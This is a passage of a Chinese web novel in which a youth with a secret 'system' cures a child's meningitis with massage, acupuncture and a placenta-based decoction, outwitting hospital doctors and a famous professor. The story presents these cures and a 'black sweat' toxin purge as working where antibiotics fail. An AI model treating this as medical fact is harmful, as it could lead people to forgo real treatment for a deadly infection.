“孩子不是重感冒，是急性脑膜炎。再拖下去，就算救回命，脑子也得烧坏。” 脑膜炎！ 这三个字一出，刚走进病房的主治刘医生，连同苏晚夏，都愣在原地！ 因为这个诊断，和他们今天上午专家会诊的最新猜测，完全一致！只是医院设备简陋，无法确诊！ 这乡下小子，连听诊器都没用，只看一眼、翻翻眼皮，就道破了？ 刘医生震惊之余，立刻上前一步，锐利地审视林卫国：“你是谁？你怎么知道是脑膜炎？” 林卫国看都没看他：“我怎么知道的你不用管。” “眼下最要紧的是救命！你们的青霉素不起作用了。让我来试试，针灸推拿，最多半小时，烧就能退。” “胡闹！” 刘医生和苏晚夏的反对声撞在一起。 “靠这个治脑膜炎？异想天开！绝对不行！”刘医生气得脸涨得通红。 苏晚夏也急得声音发颤：“孩子病危啊！这不是拿他的命赌吗？” 在一片斩钉截铁的反对声中，已经绝望的赵胜利，看着病床上儿子那开始不稳的呼吸，心像被剜了一刀，猛地发了狠。他转身，对着刘医生和苏晚夏，声音带着浓重的哭腔： “刘大夫！苏护士！求你们了！就……就让他试一次！”他指向林卫国，几乎是嘶吼出来：“就这一次！所有后果，我赵胜利一个人扛！我现在就立字据，绝不找医院一点麻烦！” 他手指哆嗦着，在那份沉重的“一切后果自负”责任书上，按下了猩红的指印。 刘医生和苏晚夏都铁青着脸。 两人对视了一眼。眼神里是不信，是愤怒。可还是退到了病房角落。 目光死死锁在林卫国身上。 病房门关上。隔绝了外面吵闹。责任书刚签完。重得像块石头。空气突然沉得让人憋气。 苏晚夏咬着嘴唇。眉头拧在一起。死死盯着林卫国。她只觉得这是个江湖骗子。骗人的把戏全靠嘴巴。 全身肌肉都绷紧了。林卫国只要有一丁点对小病人的动作。她马上会冲上去拦下。不管赵胜利的意思了。 大家眼神热得像火在烧。林卫国却一点不忙。从旧布包里掏出一卷粗布。慢慢展开。 布卷里是一排长短不一、寒光幽幽的钢针。 针样古拙，在昏黄的灯光下，闪烁着冷硬的锐气——这其实是林卫国利用系统基础医疗金属伪装的银针。 苏晚夏心头冷笑：狐狸尾巴露出来了！正经中医哪用这般骇人的粗家伙？ 林卫国对周遭的目光置若罔闻。他点燃酒精灯，仔细燎烤着几根针尖消毒。 但消毒完，他并未立刻下针。只见他走到床边，深吸一口气，双手忽然动了起来！十指在孩子抽搐的四肢和背脊几处穴位间快速游走、按、压、揉、捏…… 那速度快得惊人，只带起一片虚影，眼花缭乱。 每一次力道，每一次停顿，每一次按压的转换，都透着一股外人无法理解的韵律，竟像在无声的节奏中演奏。 这正是医疗系统中【生物电流刺激疗法】的精妙所在，能最大限度激发出人自身免疫与修复的本能。 时间一分一秒地爬过。 推拿将近十分钟，奇迹，悄然出现了。 病床上高热昏迷、不停抽搐的赵小宝，竟然一点点平息下来…… 他那急促紊乱的呼吸，也变得平稳悠长。 仅仅这一手，就让角落里的刘医生和苏晚夏陡然瞪大双眼，难以置信！行医多年，他们从未见过仅靠推拿就能平息惊厥！ 紧接着，林卫国开始下针。 他落针精准稳健，捻动针尾的动作却与传统老中医截然不同——快而短促，带着奇特的细微震动。在孩子头顶、胸前和手脚几个关键穴位落针后，赵小宝那滚烫吓人的额头上，竟以肉眼可见的速度渗出一层细密汗珠！ 出汗了！高烧病人最关键的排汗！ 刘医生再也无法镇定，猛地冲过去拿起体温计夹在孩子腋下。 几分钟后，他屏息取出体温计只一眼，瞬间如遭雷击，僵在原地！ 水银柱赫然停在——三十八度五！ 治疗前孩子体温高达四十度以上，打盘尼西林、酒精擦身……所有方法都徒劳无功！可如今不过短短十几分钟，竟退到了正常高烧范围！ 刘医生和苏晚夏彻底失语。 他们亲眼见证了一个无法用现有医学解释的奇迹。 尤其是苏晚夏。油灯昏黄光线下，林卫国专注而自信的侧脸轮廓分明。她目光中的鄙夷与警惕，已被震惊、好奇和一丝自己都未察觉的异样光彩取代：这个土气少年，究竟是什么人？怎会有如此神鬼莫测的手段？ “退了！烧退了！！”赵胜利夫妇激动得泣不成声，看着儿子安稳的睡颜，双腿一软就要跪下。 林卫国眼疾手快一把扶住：“使不得！” 他收起钢针，脸色也透出几分苍白，方才治疗对他精神力消耗极大。 “烧退了，命算保住了。”林卫国对赵胜利道，“但病根未除，还需用药巩固。我给你开个方子，去外面药店抓药，照我教你的法子煎服，七天就能痊愈。” 他提笔就写，字迹带风。 赵胜利赶紧双手捧住，连声道谢。可视线落到纸上的墨字，他脸上的喜色顿时僵住，嘴角直哆嗦。 “小、小神医，” 他指着纸上的名字，舌头打了结，“这‘龙血藤’和‘紫河车’……哪是人能寻摸着的宝贝疙瘩！我三天前就跑遍了县城的药铺，脑袋都摇成拨浪鼓，愣是没一家有货……” 林卫国的手指在方子末端蜷了一下。只顾着方子见效快，忘了这会儿东西有多难弄。多少后世寻常的药材，如今比金子还难求。 少了这两味主药，那孩子的病根儿就断不了，哪天又得起势。 难道……这刚冒头的好转，转眼就得黄？ 第13章 老底子 赵胜利绝望的话语，如同冰水浇头，瞬间熄灭了病房里因孩子退烧而燃起的狂喜。 希望破灭，气氛跌至谷底。命是暂时保住了，可没有后续的药，不过是把死亡推迟几天罢了。 主治刘医生沉重地叹了口气，扶了扶眼镜：“老赵，卫国同志这方子……确实是神方。但这两味主药，太难找了。” 苏晚夏紧接着证实：“赵科长，紫河车，也就是健康产妇的胎盘，属于敏感物品。医院管理极严，每一例都有严格登记和处理流程，不可能随便拿出来当药，这是原则问题。” 刘医生补充道：“至于龙血藤，我只在古籍上见过记载，据说有活血化瘀、强筋健骨的奇效。但咱们县，乃至整个地区的药材公司和药库，根本没这味药。这东西有价无市，根本找不到。” 两人的话，像重锤砸下，彻底粉碎了赵胜利夫妻心中刚燃起的希望。 赵胜利的妻子瘫坐在地，放声大哭。赵胜利这个七尺汉子，也虎目含泪，望着病床上儿子脆弱的睡颜，喃喃道：“难道……这就是我儿子的命？老天爷，你好狠的心……” 一片绝望悲戚中，唯有林卫国，冷静得像块万年寒冰。 他走到赵胜利面前，目光灼灼：“赵科长，回答我一个问题。只要能找到这两味药，孩子就有救，对吗？” 赵胜利一愣，下意识点头：“对！小神医你开了方子，只要药能凑齐，我儿子肯定有救！” “好。”得到肯定答复，林卫国转身，目光扫过一脸为难的刘医生和苏晚夏，语气不容置疑：“龙血藤，我知道哪里有，我去采。但紫河车，我需要你们的帮助。” 刘医生像被踩了尾巴的猫，几乎跳起来：“不可能！绝对不可能！你一个小孩子上哪去找连省城药材公司都找不到的东西？别胡闹！” 林卫国根本不理会他的质疑，语出惊人：“县城西边三十里外的黑风口，北面背阴峭壁上就有。那藤蔓粗壮如手臂，常年攀附岩壁，砍断后汁液如血，所以我们山里人叫它龙血藤。只是村里没人认识这是名贵药材，地势又险峻，没人敢采罢了。” 他不仅说出准确地点，更详细描述了药材的生长环境和特殊形态，其专业程度让刘医生和苏晚夏哑口无言，震惊地看着他。这些知识，连药材收购站的赵胜利都闻所未闻。 随即，林卫国扔下更具分量的话：“黑风口，我亲自去。”他看着赵胜利，一字一句道：“赵科长，我用我的命，换你儿子的命。但在我回来之前，你们必须想尽一切办法，帮我找到另一味药。” 这已不是交易，是以命换命的豪赌！ 林卫国置生死于度外的决心和担当，让赵胜利感动得无以复加，这个汉子泣不成声。一旁的苏晚夏看着眼前这个年纪相仿甚至更小的少年，眼中异彩连连。她从未见过如此有魄力、有担当的同龄人！ 震撼全场后，林卫国的目光，笔直地、毫无闪躲地落在苏晚夏身上。 “苏护士。”他直视她的眼睛，语气诚恳郑重，“中医讲，紫河车性温，有补气养血之效。用作药引，必须取自刚生产的健康产妇，越新鲜效力越强。这件事，放眼整个县城，只有在医院工作的你，最有可能办到。” 苏晚夏心猛地一跳，下意识想回避他的目光。 林卫国不给她退缩的机会：“我知道这请求非常为难，可能让你违反规定，担上天大责任。但孩子的命，现在就悬在这一线之上。我能做的，是去悬崖峭壁拼命；你能做的，是在医院里为他争取这一线生机。” 这请求如同大山，狠狠压在苏晚夏肩上，将她推到极其为难的境地。 帮，还是不帮？ 帮，意味着要冒被开除、甚至吊销护士资格的风险，触碰那条高压线。 不帮，难道眼睁睁看着这可怜的孩子，失去这唯一的最佳治疗机会？ 一时间，病房里所有人的目光都聚焦在她身上。 赵胜利两口子的眼神灼得人难受，那哀求简直要从眼睛里溢出来。刘医生眉头死死拧着，脸色难看得很。 苏晚夏心口咚咚擂鼓，脑子里却像塞满了乱麻。 病床上，退烧的孩子小脸惨白，气也弱，看得人心揪。 她无意识地抬眼，目光钉在了那少年身上——那双眼睛清亮得像山泉，背脊挺得笔直，一股子不容置疑的劲儿，几乎能撞到人脸上。 “咋办……” 指头死死抠着白大褂的衣角，用力得透出青白色。 一边是冷冰冰的医院铁律，是她那岌岌可危的前程；另一边，是孩子那丝悬乎的气儿，是少年烫得灼人的目光。 空气一下子凝固了。 赵胜利两口子那绝望的眼神，像一把钝刀子，把她最后那点犹豫撕开了。 属于医生的那点本能“腾”地顶了上来。她猛地一咬牙，对着林卫国重重一点头：“行！我帮你！” 三个字砸出来，赵胜利媳妇的眼泪唰地就淌下来了。 林卫国深深瞧了她一眼，感激和赞许在眼底飞快闪过。 为了个陌生孩子，她把自个儿全押上了。 不能耽搁！林卫国立刻动身。 钱？一分没要。 只抓了几个干硬的馍馍塞怀里，水壶灌满，顺手把那把磨得锃亮的柴刀别在后腰上。东西齐整，他连天亮都等不及，身影一晃，扎进了浓得化不开的夜，直扑三十里外的黑风口。 夜路不好走，山风利得割人。 陡峭的山道上，林卫国的身影却出奇地利索。 手电根本不用，借着清冷冷的月光，一双眼睛在纵横的山林间瞄得准准的。 坑洼、藤蔓总能提前绕开，挑的都是最省劲儿的小路。 他活像生了根长在这片山林里，无声无息。夜里出来找食的野猪、狼獾擦着他过去，愣是没半点察觉。 这像山里生的野兽似的本能，是他无数次生死线上挣回来的老底子。 这玩意儿，比那些传得神乎其神的“神医”名头，管用多了。 心念微动，脑中那套东西悄然铺开。 一幅半隐半现的山势图在眼前展开，他像个钉子似的被标在上面，另一点模糊的位置，指向了龙血藤可能的方向。 他像支开了弦的箭，嗖地切开夜色，朝那目标猛扑过去。 第14章 做我专门的采药人 凌晨四点，天色透黑。林卫国赶到黑风口时，风声鬼嚎，刮过脸上像刀片。 他没停顿，径直绕去了背阴的陡壁下。 微弱的星光下，林卫国眯眼抬了抬头。陡得吓人的石壁上头，离地十几米处，一株老藤像生着粗爪似的拧在岩缝里，藤上蒙了层厚苔藓，枯草里露水刺骨的冷。不容易看见。 心头一撞！他揪紧布条，把砍柴刀狠狠缠在自己手腕子上。 吸口气，手脚并用，在山壁上摸索石头疙瘩和裂隙。 爬到了那藤正下方。稳住脚，他用力拔出那刀正要砍—— “不许动！” “谁在那！” 几道手电筒白光刺破下方树林，光剑般狠狠扎来，一下把吊在峭壁上的林卫国钉在那儿。 光柱晃动间，三个流里流气的男人钻出树林。为首的是个身材魁梧、满脸横肉的汉子，脖子上挂着粗银链，眼神凶悍。正是盘踞在县城周边，靠盗猎和强买强卖药材为生的地痞头子，“山耗子”。 他们显然早已在此蹲守，目标也是这株龙血藤。 山耗子叼着烟，用手电照了照藤蔓，又照向林卫国，嘿嘿冷笑：“小子，胆儿挺肥啊，连耗子哥我看上的东西都敢动？”他朝地上啐了一口，“告诉你，这黑风口，整座山的东西，都是我的！识相的，把东西留下，再掏一百块孝敬爷几个，爷心情好就放你一马。不然，就把你推下去当肥料！” 林卫国面无表情地看着他们。他知道跟这种人讲道理是白费力气。 他只是冷冷地扫了对方一眼，声音比寒风更刺骨：“我采这药，是为救命。你们，确定要拦？” 山耗子像听到天大笑话，又被林卫国那平静的眼神激怒，狞笑道：“哟呵，还挺硬！死到临头还敢嘴硬！给我上，把他弄下来，先废他两条腿！” “好嘞，耗子哥！” 两个手下怪叫一声，立刻顺着山壁往上爬，叫嚣着扑向林卫国。 就在这一刻，林卫国动了。 他没有动用显眼的战术匕首。凭借远超常人的反应和千锤百炼的格斗技巧，在第一个混混拳头即将打中面门的瞬间，身体猛地以不可思议的角度侧开！ 那混混一拳打空，身体顿时失衡。林卫国的手如同铁钳，顺势扣住对方手腕，擒拿、反关节，动作一气呵成！ “咔嚓！” 清脆的骨骼错位声响起！混混的手臂被扭成诡异角度，发出杀猪般的惨嚎，从山壁摔了下去。 不等第二人反应，林卫国借力转身，一脚踹在对方膝盖上。 又是“咔嚓”一声！ 第二个混混同样惨叫着滚落，抱着脱臼的膝盖在地上哀嚎。 整个过程快如闪电。山耗子甚至没看清林卫国如何出手，两个手下就已失去战斗力。 山耗子脸上的狞笑彻底僵住。他惊呆了，嘴里的烟掉在地上都没察觉。横行乡里多年，他第一次见到这么狠、身手如此恐怖的学生！ 林卫国没理会地上哀嚎的两人。他从峭壁一跃而下，稳稳落地，一步步走向吓傻的山耗子。 “现在，该跟你算账了。”林卫国的眼神冰冷，“耽误我采药救人，这责任，你担得起吗？” 一股仿佛从尸山血海中磨砺出的恐怖杀气，如同实质的冰墙，狠狠压在山耗子身上，让他几乎窒息！ 山耗子双腿一软，“噗通”跪倒在地！他被那非人的眼神和气势彻底吓破了胆！ “爷！爷我错了！我有眼不识泰山！求您大人大量，饶我这条狗命吧！”他疯狂磕头，痛哭求饶。 林卫国走到他面前，居高临下，冷冷逼问：“除了龙血藤，这黑风口附近，还有什么稀罕药材？说出来，饶你不死。” 山耗子为了活命，哪敢隐瞒，哆哆嗦嗦交代：“爷！我说！我知道……黑风口后山，翻过去有个小水潭，潭边长着几棵像头发丝的‘红线草’！听说那玩意儿能解大毒，之前有城里大老板开车来，花大价钱想收呢！” 红线草？！ 林卫国心中剧震！ 那不是前世军方科研项目中，一种新型抗癌靶向药最关键的核心辅料吗？它对环境要求苛刻，产量稀少，后世一克价比黄金！ 没想到，这价值连城的宝贝，竟无人知晓地生长在这荒山野岭！ 红线草！ 这三个字让林卫国心脏猛地一跳，但他脸上依旧冰冷，看不出丝毫变化。 压抑住狂喜，他明白这意外发现的草药意味着什么——这是救治赵小宝的希望，更是他为自己和家人未来布局的关键机遇！ 看着地上连连磕头的山耗子，林卫国改了主意。杀了他意义不大，但若收为己用，在这陌生县城就有了处理麻烦事的“黑手”。 他走到那两个疼得打滚的混混跟前，在山耗子惊恐的目光下蹲下身子。他抓住一人脱臼的胳膊，在肩头一按一推。 咔！ 一声轻响，胳膊接回去了。 他又三两下接好了另一人断裂的膝盖骨。 这一手，比刚才的打斗更让山耗子心惊肉跳。能打能治，这意味着对方轻易就能掌控他生死，生不出半点反抗念头！ 林卫国站起身，俯视着完全被镇住的山耗子。 “现在，给你一个新选择。” “替我办好三件事，今天的事一笔勾销，以后我保你们平安。办不好。。。”他冰冷的眼神已说明后果。 山耗子哪敢犹豫，头磕得砰砰响：“爷您吩咐！刀山火海，皱下眉头我山耗子不是人！” “第一，”林卫国指向后山，“马上去那个水潭，把潭边所有红线草采来，一根不少！带泥，不能有损！” “第二，”他掏出油纸包的熊胆汁和破烂熊掌，“立刻去县城，走国营饭店后厨或你的路子，最快速度卖掉。不得低于三百块！钱，你先拿着。” “第三，”林卫国最后道，“办完前两件，明天中午十二点，县医院住院楼下等我。到时，不仅要药和钱，我还要你——”他盯着山耗子的眼睛，“做我专门的采药人！” 山耗子本以为自己死定了，没想到竟是天降机缘！这少年手段、心思都深不可测，跟着他，前途无量！ 第15章 有眼不识泰山 “爷！您放宽心！”山耗子急吼吼地表忠心，“事儿要是办砸了，我认栽！天打雷劈，活该！” “屁话少讲，见真章。”林卫国撂下这句，看也不看他们，扭头下山。 山耗子麻利爬起来，冲着那背影恭恭敬敬拜了三下，这才招呼旁边瘸着的手下：“走！”俩人跟打了鸡血似的，闷头冲出去干活。 …… 视线拉回县医院。 林卫国走了，病房里那股子沉重劲儿一点没散。答应那事儿后，苏晚夏心里就七上八下，没个着落。 万一……她的路可就断了。可病床上孩子的脸，还有林卫国临走那一眼，让她硬是把退下去的脚收了回来。 后半夜，护士站正换班，是个空档。苏晚夏溜上三楼妇产科。瞧见相熟的护士小张，她嗓子有点紧：“楼下儿科急用，污染了无菌区，需要油纸包。” 东西到手。 接着，走廊乱哄哄都在看新生儿。她推着那盖得严严实实的医疗废物车，一个人闪进了污物处理间。 浓重的血腥味混着消毒水，直冲嗓子眼。胃里翻腾，心都快蹦出来。她动作没停，飞快扒开角落一个新打上的黄色厚袋子。那东西裹得死紧——温热，新鲜的一块紫河车。 手有点抖，赶紧用带来的油纸，一层，又一层，密实地卷起来。血味封住了，她才喘口气，塞进推车底下最角落。每一步都绷得死紧，脚跟踩着针尖挪。 弄好了，推车就往外走。只要拐出这道门…… “苏晚夏！站那儿！” 后背猛地响起一声，又尖又刺。 苏晚夏浑身一僵，推车的手差点松了。她慢腾腾转过身。对面不远处，老冤家护士长刘兰抄着手臂站着，眼神像锥子，把她钉在原地。 刘兰刀锋般的目光扫过苏晚夏下意识护住推车底层的手，又盯住她不自然的脸色。她踩着皮鞋逼近，拦住去路。 “苏晚夏，大晚上不在自己科室，鬼鬼祟祟推个破车在这儿干嘛？”刘兰厉声质问，“你手里包得那么严实，是什么东西？” 苏晚夏的心瞬间堵到嗓子眼！刘兰出了名的刻薄爱告状，一直嫉妒她年轻能干。要是被发现……她的前途和工作，今晚就全完了！ 刘兰步步紧逼，苏晚夏手心冰凉，冷汗湿透后背。怎么脱身？ 面对护士长刘兰那双锐利的眼睛，苏晚夏的心跳得像擂鼓，后背的冷汗浸透了衣衫。 她知道，一旦被这出了名的“长舌妇”抓住把柄，后果轻则全院通报，重则直接开除。 千钧一发之际，极度的紧张反而让她头脑异常清醒。她想起了林卫国泰山崩于前而色不变的镇定。 她没有慌乱躲闪，反而挺直腰杆，迎着刘兰的目光，小心翼翼将手里的油纸包打开一角。 露出的并非紫河车，而是早已准备好的、用来掩护的带血纱布。 紧接着，苏晚夏眼圈一红，脸上瞬间堆满委屈和嫌恶，声音带上哽咽： “刘护士长，您误会了。这是我乡下亲戚，刚生完孩子。家里老人迷信，非说这用过的纱布沾了‘血光’，晦气，留家里不吉利。求着我帮忙拿到医院锅炉房烧了，去去晦气。” 这年代，人多多少少有些迷信。刘兰虽贵为护士长，也难以免俗。一听是产房里带出的“晦气”东西，她脸上立刻露出毫不掩饰的嫌恶。 她像避脏东西似的，猛地后退两步，捏着鼻子嫌恶地连连摆手： “行了！知道了！快把这些乱七八糟的搬走！别在这儿碍眼，真晦气！” 苏晚夏悬在心口的那块巨石，终于“咚”地一声落了地。她赶紧低下头，鼻音浓重地应了一声“嗯”，推着车便急急闪进楼梯间，那架势，真如同捡回了一条命。 一场几乎要断送她前程的风波，就这样擦着她的衣角过去了。 当苏晚夏揣着一颗还在后怕的心走回儿科病房，刚推开房门，一个带着露水与尘土气息的身影便映入眼帘。 是林卫国！他回来了！ 裤脚沾满泥点和晨露，肩上那捆新鲜的藤蔓还在滴水，但他的双眼，却亮得像刚打磨过的黑曜石。 两人的目光在半空中无声交汇，无需言语，“得手了”三个字已在目光里传递得清清楚楚。苏晚夏悬着的心这才真正坠回实处，而林卫国绷紧的神经也松弛下来——最紧要的那味主药，终是到手了。 “小神医！你总算是回来了！”赵胜利夫妇几乎是冲了上去，声音里压不住那份灼人的期盼。 药材齐了！孩子活命的指望，眼下就全系在这上面了！ 可刚按下葫芦，瓢又起来了。林卫国刚处理完龙血藤和紫河车准备煎制，他报出的煎法就让病房里的医生护士们眉头紧锁。 “不行！”主治刘医生头一个站出来反对，“这两味药性子太烈，必须慢火细熬，让药效一点点熬出来才行。你这么急着用猛火又加冷水的，还要掐着点下药，完全是反其道而行！药性非得给你折腾没了不可！” 林卫国眼皮都没动一下。他点燃借来的小药炉，火苗映着他冷峻的侧脸，话掷地有声： “想救这孩子的命，就得听我的。我的方子，就只能配上我的煎法。要是有一星半点的差错——” 他顿了顿，目光锐利地扫过众人：“——这救命的东西，转眼就成了索命的毒。” 那话里的分量，那股不容置疑的沉静力量，硬是把刘医生满腔的质疑给压了回去，他张了张嘴，到底没再吭声。 林卫国不再理会旁人，自顾自操持起来。 接下来这半个时辰，对刘医生和苏晚夏而言，简直是在颠覆他们根深蒂固的认知。他们眼睁睁看着林卫国像个最老练的药工，又似遵循某种古老乐章般，一丝不苟地调控着火候、添水、投料。他下药的时机毫无常理可循，有时在滚水正沸的顶点，有时偏在炉火将熄未熄的那一瞬。 整个过程流畅得不像话。 第16章 断错了 刘医生和苏晚夏看得心跳都漏了几拍，眼睛都不敢眨一下。他们渐渐惊觉，林卫国手中握着的，竟是一整套自成一脉、逻辑森严、远比他们所学高深莫测的医术！ 半个小时过去，药成了。 当浓黑的药汁被小心注入那只白瓷碗里，眼前所见再次狠狠冲击着他们的视觉——那药汤竟是清亮亮的琥珀色！空气里飘散的也非刺鼻的苦味，反而是一种奇异的、难以形容的淡雅清香。 林卫国端起药碗，用小勺轻轻舀起一勺清亮的药汤，正要小心翼翼地喂向赵小宝的嘴唇…… “砰”的一声！ 病房门被猛地推开。 一个五十多岁、戴着金丝眼镜、穿着灰色中山装的男人，在县医院院长的亲自陪同下，迈了进来。 院长满脸堆着笑，声音洪亮： “赵科长啊，您真是福气不小！我这张老脸可是豁出去了，硬是把省里中医界的头把交椅——孙思源孙教授，给请来了！特地来给令公子瞧瞧！” 赵胜利又惊又喜。 孙思源！这名字，人人知晓，绝对的国医大家！ 可孙教授的眼神，一扫而过，像鹰隼一样，立马锁在林卫国那碗药上。他几步就冲到床边，三根手指按在赵小宝的手腕。短短一瞬，眉头直接拧紧了。 他突然扭过头，目光锐利地扎向林卫国，声音不带一点商量： “停下！” “瞎胡闹！简直是草菅人命！” 孙教授指着那碗药，声音气得发抖： “孩子脉象轻飘飘，气息摇摇欲坠，已经像是快烧尽的灯了！最该稳扎稳打，慢慢温养才对！怎么还用这么猛的虎狼药？” 他扫了一眼药碗，像是见着了锁喉的毒汁： “话放这儿了，这药只要灌下去——” 顿了顿，一字一字地吼出来： “三分钟，孩子撑不住，虚脱倒地，接着七窍流血，当场没命！” 孙思源教授一开口，就给林卫国的治疗宣判了死刑。 这位省城来的中医名家，时常给大领导看病。他的话，在普通人眼里就是金科玉律，绝对的权威！ 县医院院长和主治刘医生顿时满脸庆幸与后怕。亏得孙教授来得及时！要真让林卫国把药灌下去出事，整个医院都得跟着倒霉！两人立刻上前，不动声色地挡在病床前，阻止林卫国。 刚在绝望中看到一丝曙光的赵胜利夫妻，心再次沉入谷底。脑中一片混乱：一边是刚把儿子拉出鬼门关的“小神医”，另一边是院长亲自请来的大专家。他们该信谁？ 病房死寂，所有人都以为林卫国会畏惧权威退缩时，他却做出了惊人举动。 他端着药碗，迎着孙教授的目光，不卑不亢道： “孙教授？我只问您两点：第一，我这碗药里，究竟有何虎狼之药？第二，您凭什么断定孩子喝下必定暴毙？” 声音不大，却清晰有力，毫无惧色。 孙教授没料到这衣着朴素的乡下小子竟敢质疑自己，脸色瞬间阴沉。他捻着山羊胡，冷哼一声，摆出专家派头： “哼！黄口小儿，不知天高地厚！此子病在体虚邪入，阴阳失调，正气衰败！观其脉象细沉虚弱，已是灯枯油尽！此刻最忌攻伐！你这药气清冽，药性走窜，正是虎狼之药！以此攻伐将倾之躯，无异催命符！” 这番玄奥理论听得院长等人连连点头，暗叹专家就是专家。 林卫国却直接打断： “孙教授，经典是死的，人是活的！孩子病根并非简单体虚，而是‘湿热毒邪’倒灌入脑髓！表面油尽灯枯，实为邪气内闭，蒙蔽清窍，令正气无从舒展，这才是他高烧昏迷的根源！” 他上前一步，气势竟隐隐压过对方： “此刻正邪交战濒危，非雷霆手段不能破局！必以龙血藤破血瘀，紫河车补正气，一破一立直捣病灶，祛尽邪毒，方能苏醒！若按您的温补之法，无异抱薪救火，只会令邪气更炽，耗干他最后生机！” 这番辨证明晰要害，既含高深医理，又暗合现代医学“炎症风暴”、“血脑屏障”概念，一针见血！ 孙教授被驳得面红耳赤。行医一生受人敬仰，何曾被个毛头小子当众顶撞？他气得胡子直翘，指着林卫国怒道： “好个伶牙俐齿！满口歪理！你，你敢不敢赌？” 林卫国等的就是这句！ “有何不敢？”他声音响彻病房，“就赌我手中这碗药！若治好孩子，你孙教授当众承认学艺不精，浪得虚名！并为我办一事！若孩子不测……” 他眼中闪过一丝决绝： “我林卫国当场自废双手，永不行医！” 话音一落，举室皆惊！这赌的哪里是名誉？是赌两人毕生前途，更是赌一条人命！ “卫国！别！”苏晚夏吓得脸色惨白，一把拉住他的衣角。 林卫国回望，眼神却无比坚定自信，仿佛天下无他不可治之症！ 孙教授被这气势狠劲彻底激怒，加上对自身经验的绝对自信，绝不信一个小子能创造奇迹。被逼到绝境，他狠狠一拍桌子： “好！赌！院长！家属！你们见证！我倒要看你如何把人治死！” 所有目光，最后一次聚焦到赵胜利身上。 最后的决定权，在他这个父亲手里。 一边是德高望重、代表稳妥的老专家。选他，是安全，也可能是看着儿子在“稳妥”中死去。 另一边是带来奇迹又蕴含巨大风险的少年。选他，是走钢丝——要么新生，要么万劫不复！ 赵胜利额头青筋暴起，呼吸如拉风箱，内心天人交战。 最终，他看着病床上儿子苍白的小脸，又看向林卫国那自信至极的眼神。 在众人屏住的呼吸中，他颤抖地伸出手，缓缓地、坚定地，伸向了那碗决定命运的汤药。 第17章 一笔笔清算 病房里，时间像卡住了，空气压得人难受。 赵胜利的手悬空，抖个不停。 他面前，省城专家孙思源那张脸紧绷着，权威味十足；而另一边，乡下少年林卫国的眼神却稳当得很，信心十足。 一个人判死。一个人带来点微光。 苏晚夏手心湿透。她领教过林卫国的本事，但孙教授那权威根深蒂固，叫她心头生畏。整个人绷紧，怕林卫国出事，更怕病床上孩子保不住。 县医院院长和刘医生这主治，全站孙教授那边。两人对个眼神，身子微微前倾，随时准备动手——赵胜利要是敢碰那碗“毒药”，他们立马冲上去拦。眼下这事，他们眼中已不是治病，成了拿命押注的疯子行径。 无数画面在赵胜利脑中翻腾：儿子被高烧抽搐折磨得不成人形的半个月，县医院一次次的无能为力和冰冷的病危通知书……最后，一切都定格在林卫国两次出手，硬生生把儿子从死亡线上拉回来的瞬间！ 村口一次！刚才又一次！ 奇迹已发生过两次！为何不能再有第三次？！ 眼中的犹豫和恐慌被一抹疯狂取代。赵胜利猛地咬牙，做出了此生最重要的决定。 他不再看孙教授铁青的脸，转向林卫国，用近乎托付身家性命的语气，一字一顿道：“小神医！我儿的命，今天就交给你了！” 话音未落，他已决然从林卫国手中接过那碗深色汤药，不顾院长和刘医生的惊呼，用小勺一勺一勺，坚定而温柔地喂进儿子赵小宝口中。 “你……你们！”孙思源气得山羊胡直抖，猛地拂袖转身，背对众人，痛心疾首：“愚昧！愚昧无知！家属不信科学，自寻死路！好！好！好！老夫就在此看着，不出三分钟，看你们如何收尸！” 他背手而立，如怒目金刚，等着看这无知与狂妄酿成的惨剧。 一勺，两勺…… 整碗药汤喂了下去。 最后一滴滑入喉咙的刹那，病床上的赵小宝身体猛地一抽！本就苍白的脸瞬间又白了一分！ “啊！小宝！”赵胜利妻子发出凄厉惊叫。 院长和刘医生脸色煞白，暗呼“完了”！ 背对众人的孙教授脸上，浮现一丝“果然如此”的冰冷残酷。报应，开始了！ 然而，那剧烈抽搐只持续了一瞬便停止。 紧接着，更奇异的一幕发生。 赵小宝脸上迅速泛起异常潮红，仿佛体内有火在烧。随即，细密的、带着淡淡腥臭的黑色汗珠，源源不断从他额头、脖颈、胸口渗出！ 黑汗粘稠污浊，似要带出体内所有毒素。 “这……这是怎么回事？！”赵胜利妻子惊慌失措。 林卫国依旧平静，拿出备好的干净布巾，一边擦拭一边解释：“不必慌。这是药力催发的‘透邪汗’，病根在内，正邪相争，正强行将侵入脑髓的湿热毒邪，通过汗液逼出体外。毒随汗出，人就没事了。” 他示意看呆的苏晚夏端来温水，亲手为孩子擦拭。 众人清楚看到，黑汗之下，孩子因高烧而不正常的皮肤正以肉眼可见的速度恢复健康色泽。 时间一分一秒流逝，屋内落针可闻。 约莫一刻钟后，粘稠黑汗不再渗出。一直昏迷不醒、对外界毫无反应的赵小宝，长长的睫毛忽然轻轻颤动了两下。 在所有人屏住的呼吸中，他缓缓睁开了那双紧闭半月之久的眼睛。 眼神虽还有些迷茫，已恢复了神采。他看向床边泪流满面的女人，干裂的嘴唇翕动，用虚弱却无比清晰的声音，轻轻地喊： “……妈。” 这一声轻若蚊吟，却在死寂的病房内如同九天惊雷炸响！ 赵胜利妻子再也控制不住，抱着丈夫胳膊，夫妻俩如同孩子般抱头痛哭，将半月来所有的恐惧、绝望与痛苦都化作喜极而泣的泪水。 院长和主治刘医生彻底石化，张着嘴瞪着眼，仿佛目睹神迹降临，世界观被眼前一幕彻底颠覆、击碎！ 那个背身等着“惨剧”的孙思源教授，在“妈”声入耳的瞬间，整个身躯猛僵！ 他一寸一寸，缓缓转过身来。 脸上再无半分愤怒与权威，只剩下无法形容的震惊、羞愧，以及深入骨髓的难以置信！ 林卫国仔细擦净手，无视了病房里悲喜交加的所有人。 他只是迈步，平静地走到面如死灰、失魂落魄的孙思源面前，淡然开口： “孙教授，看来，我这双手是保住了。” “那么……您之前答应我的那件事……” 林卫国那平淡的一句话，却像一记无声却响亮的耳光，狠狠抽在省城名医孙思源的脸上。 药到病除，孩子当场就醒了过来。 事实，胜过千言万语。 在县医院院长、主治医生、护士苏晚夏以及赵胜利夫妇惊异的目光注视下，这位德高望重的老中医，老脸由红转紫，最后涨成猪肝色，只觉得脸上火辣辣的疼，仿佛被鞋底抽了无数次。 他孙思源成名数十年，一生受人敬仰，何曾受过这等奇耻大辱！ 内心骄傲与残酷的事实激烈交锋。理智告诉他输了，一败涂地。但那深入骨髓的名家尊严，让他拉不下这张老脸。 然而，当他的目光再次落到那个劫后余生的孩子身上时，那份医者仁心，最终压倒了可悲的虚荣。 医术，达者为先！面对真正的起死回生之术，他那点名声和面子，又算得了什么？ 